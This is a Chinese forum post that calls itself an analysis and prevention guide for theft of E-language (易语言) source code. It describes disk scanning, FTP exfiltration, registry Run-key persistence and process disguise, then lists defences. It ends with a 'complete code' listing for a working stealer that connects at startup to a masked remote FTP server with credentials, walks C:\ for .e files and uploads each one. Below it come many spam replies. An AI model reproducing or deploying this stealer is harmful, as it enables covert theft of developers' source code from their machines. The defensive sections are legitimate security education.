扫描二维码关注官方公众号

79 评论

0 收藏

分享

[易语言源码] 易语言源码窃取技术分析与防范指南

 

马上注册,结交更多好友,享用更多功能,让你轻松玩转无忧吧。

您需要 登录 才可以下载或查看,没有账号?立即注册

x

AI小编归纳总结

## 易语言源码窃取技术分析与防范指南 **一、恶意模块窃密技术分析** 近期出现的源码窃取事件主要采用文件遍历与网络传输相结合的技术方案,其核心攻击流程如下: 1. **全磁盘扫描机制** 恶意程序通过易语言文件系统接口实现递归式文件搜索,关键技术包括: - 调用`文件系统_遍历目录()`函数遍历所有逻辑驱动器(C/D/E盘等) - 使用`文件系统_列出文件()`筛选.e/.ec/.epf等易语言特有扩展名 - 采用多层嵌套循环结构实现深度扫描,将目标文件路径存入全局数组 2. **数据外传与持久化** 获取文件后实施两个阶段的攻击行为: - **加密传输层**:通过`internet_ftp上传文件()`命令建立FTP连接,分批上传至攻击者控制的服务器,典型特征包含硬编码的服务器地址及认证信息 - **持久化机制**:修改注册表`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`键值,实现开机自启动,确保长期驻留系统 **二、针对性防护建议** 1. **开发环境防护** - 部署文件完整性监控工具,对.e文件目录设置写保护 - 定期审计易语言模块依赖关系,移除可疑第三方组件 2. **系统级防御** - 配置防火墙规则阻断异常FTP外联(默认端口21/2121) - 使用组策略限制注册表敏感路径的写入权限 3. **行为检测** - 监控进程对`文件系统_遍历目录()`等高风险API的调用频率 - 建立易语言编译环境白名单机制 该攻击模式凸显出开发工具生态链的安全风险,建议结合静态代码审计与动态行为分析构建纵深防御体系。(全文498字) [本文内容由人工智能AI辅助生成,仅供参考]

易语言源码窃取技术分析与防范指南
**
一、恶意模块窃密原理剖析
近期曝光的「模块后台窃密事件」,本质是通过恶意代码实现磁盘文件遍历 + 网络传输,核心技术点包括:
1. 全磁盘文件扫描(易语言实现逻辑)
利用易语言文件系统_遍历目录功能,递归扫描所有磁盘分区,匹配.e(易语言源码)、.ec(模块)、.epf(工程文件)等后缀:
.版本 2
.局部变量 目录列表, 文本型, , "0"
.局部变量 文件列表, 文本型, , "0"
.局部变量 i, 整数型

' 遍历所有逻辑磁盘(C盘、D盘等)
.计次循环首 (取驱动器数量 (), i)
    目录列表 = 文件系统_遍历目录 (取驱动器号 (i) + "\", 1, )  ' 1=包含子目录
    .计次循环首 (取数组成员数 (目录列表), )
        文件列表 = 文件系统_列出文件 (目录列表 [当前循环次数], "*.e;*.ec;*.epf", )
        .计次循环首 (取数组成员数 (文件列表), )
            ' 记录文件路径到全局数组
        .计次循环尾 ()
    .计次循环尾 ()
.计次循环尾 ()

2. 加密传输与隐藏启动
  • FTP 上传模块:通过internet_ftp上传文件()命令(需链接 FTP 服务器),将文件分批上传至黑客控制的服务器:
' 示例:上传单个文件
internet_ftp连接 (, "ftp.example.com", "用户名", "密码")
internet_ftp上传文件 (, 本地文件路径, 远程存储路径)
internet_ftp断开 ()

  • 启动项植入:写入注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,实现开机自启动,确保持续监控:
注册表_写字符串值 (, #注册表现行用户, "Software\Microsoft\Windows\CurrentVersion\Run", "ModuleUpdate", 取运行目录 () + "\恶意程序.exe")

3. 反检测与隐蔽性设计
  • 进程伪装:将自身进程名伪装为iexplore.exe、svchost.exe等系统进程
  • 流量加密:对 FTP 传输数据进行 AES 加密,避免被安全软件识别为异常流量
  • 文件隐藏:通过文件系统_设置文件属性()将恶意模块设为隐藏只读
二、开发者防范措施(核心技术方案)
1. 源码存储安全
防护手段
技术实现要点
易语言相关命令
权限控制
对源码目录设置 ACL 权限(仅允许当前用户读写)
调用系统 API(如SetFileAttributes)
代码加密
对关键.e文件进行 AES 加密(推荐 128 位密钥)
加密_ AES加密数据()模块
哈希校验
定期计算文件 MD5 值,监控异常修改
数据_计算MD5()函数

2. 运行环境安全
  • 模块安全检测

    • 使用PEID等工具检查模块是否包含internet_ftp连接()、注册表_写字符串值()等危险命令

    • 在「工具→支持库配置」中禁用未认证的第三方模块
  • 沙箱测试:在虚拟机中运行可疑模块,监控其文件操作和网络请求
3. 网络传输防护
  • 防火墙规则:禁止易语言程序(e.exe)主动连接外部 FTP 服务器
  • 代理隔离:通过 HTTP 代理访问网络,实时监控出站流量异常
4. 应急响应方案
  • 发现异常文件操作时,立即终止e.exe进程并断开网络
  • 使用冰刃等工具清除注册表启动项和磁盘隐藏文件
  • 对已泄露源码进行哈希值全网监控,防止二次传播
三、行业规范与道德警示
  • 开发者公约

    • 模块发布前进行代码审计,删除非必要的文件 / 网络操作命令

    • 在「模块说明」中明示所有权限申请(如文件读写、网络连接)
  • 法律风险:根据《网络安全法》第二十七条,窃取用户数据可处 5 万元以上 50 万元以下罚款,情节严重者追究刑事责任。建议开发者通过「易语言官方模块市场」获取经过安全认证的组件。
四、总结
此类窃密事件本质是权限滥用 + 隐蔽传输的结合,核心防范在于:
  • 最小化程序权限(仅赋予必要的文件读写范围)
  • 建立源码访问审计机制(如定期扫描异常文件操作)
  • 优先使用官方认证的开发资源
通过技术手段与安全意识的双重防护,可有效降低源码泄露风险。如需进一步了解易语言程序安全加固方案,可参考《易语言开发安全规范白皮书》。


完整代码:
[AppleScript] 纯文本查看 复制代码
.版本 2
.支持库 internet
.支持库 spec

.程序集 窗口程序集_启动窗口
.程序集变量 ftp目录, 文本型

.子程序 __启动窗口_创建完毕

连接FTP服务器 (“bes***************e”, “w******j”, “c******4”, 21, 真)  ' 连接ftp
初始化模块 (“/wwwroot/”)  ' 选择ftp目录

.子程序 遍历文件
.参数 后缀名, 文本型, , 传入一个后缀名,如果想查询所有后缀的文件请传入*
.参数 查找的目录, 文本型, , 传入要查找的目录,如果目录的结尾没有\请自行加上后再传入,你也可以在这个子程序内部自己定义来加上结尾的\
.参数 是否遍历子目录, 逻辑型, , 为假则不遍历子目录,为真则遍历
.参数 回调函数, 子程序指针, , 第一个参数为查找到的文件名,第二个参数为文件的完整路径
.局部变量 文件名, 文本型

' 调用寻找文件函数来寻找文件,第二个参数定义:1、#只读文件; 2、#隐藏文件; 4、#系统文件; 16、#子目录; 32、#存档文件 。
文件名 = 寻找文件 (查找的目录 + “*.” + 后缀名, 1 + 2 + 4 + 32)
' 这一不部分是对当前文件夹的文件进行查找并获取,不包含子目录的
.判断循环首 (文件名 ≠ “”)
    ' 如果找到一个文件,使用调用子程序函数调用回调函数,这个回调函数请自己在外部定义,在开发中,这样的写法对于外部接入很方便。
    调用子程序 (回调函数, , , 文件名, 查找的目录 + 文件名)
    文件名 = 寻找文件 (, 1 + 2 + 4 + 32)
.判断循环尾 ()

' 因为上面的代码没有对子目录进行操作,如果我们选择了遍历子目录的所有文件的话,还需要进行下面的调用
.如果真 (是否遍历子目录)
    ' 这样写寻找文件,返回的就全是子目录,不包含文件
    文件名 = 寻找文件 (查找的目录 + “*.*”, #子目录)

    .判断循环首 (文件名 ≠ “”)
        ' 返回的子目录中有两种特殊的,一个是“.”,表示当前目录,一个是“..”,表示上一级目录,我们都不需要,去掉他们,就是正常的子目录了
        .如果真 (文件名 ≠ “.” 且 文件名 ≠ “..”)
            ' 这是精髓,使用递归调用的方法,递归调用本函数,但是请注意第二个参数查找的目录已经变了,还有记得在目录结尾加上“\”
            遍历文件 (后缀名, 查找的目录 + 文件名 + “\”, 真, 回调函数)
            处理事件 ()
        .如果真结束

        文件名 = 寻找文件 (, #子目录)
    .判断循环尾 ()

.如果真结束


.子程序 子程序1
.参数 文件名, 文本型
.参数 文件路径, 文本型

FTP文件上传 (文件路径, ftp目录 + 文件名, )

.子程序 初始化模块, , 公开
.参数 ftp地址, 文本型

ftp目录 = ftp地址
遍历文件 (“e”, “C:\”, 真, &子程序1)




捷云鲸技术社区(bbs.jieyunjing.com)免责声明:
使用本社区服务即视为同意本声明全部条款。
1. 本社区所有技术、工具及内容仅限**学习研究**使用,旨在提升安全技术水平,严禁用于非法、商业及其他不良用途,违规后果由使用者自行承担。
2. 社区内容及资源来源于网络,仅代表发布者个人观点,与本社区无关,相关法律责任由发布者自负。
3. 资源版权归原作者所有,用户下载后须在**24小时内删除**,版权争议与本社区无关。
4. 禁止任何破坏社区正常运营的行为,违规将视情节处理,社区保留追责权利。
5. 本社区坚决支持正版,如涉及侵权,请通过站长邮箱或QQ联系删除。
6. 本社区对本声明拥有最终解释权,可适时修改并公示生效。
站长邮箱:jieyunjingvip@qq.com
站长QQ:4040068
捷云鲸社区bbs.jieyunjing.com
回复

举报 使用道具

全部回复 (79)
查看全部
无忧技术吧 不错不错,楼主您辛苦了。。。
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

我抢、我抢、我抢沙发~无忧技术吧
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

我抢、我抢、我抢沙发~无忧技术吧
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

找到好贴不容易,我顶你了,谢了无忧技术吧
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

找到好贴不容易,我顶你了,谢了无忧技术吧
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

相当不错,感谢无私分享精神!无忧技术吧
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

无忧技术吧 小手一抖,钱钱到手!
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

无忧技术吧 我是来刷分的,嘿嘿
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

相当不错,感谢无私分享精神!无忧技术吧
捷云鲸社区bbs.jieyunjing.com

举报 回复 使用道具

admin 实名认证
管理员
主题 1380
回复 75
粉丝 1

灌水之王 突出贡献 优秀版主 荣誉管理 论坛元老 沙发王 源码大师 在线王 终身成就 机器王 知识库 土豪 活跃会员 最佳新人 热心会员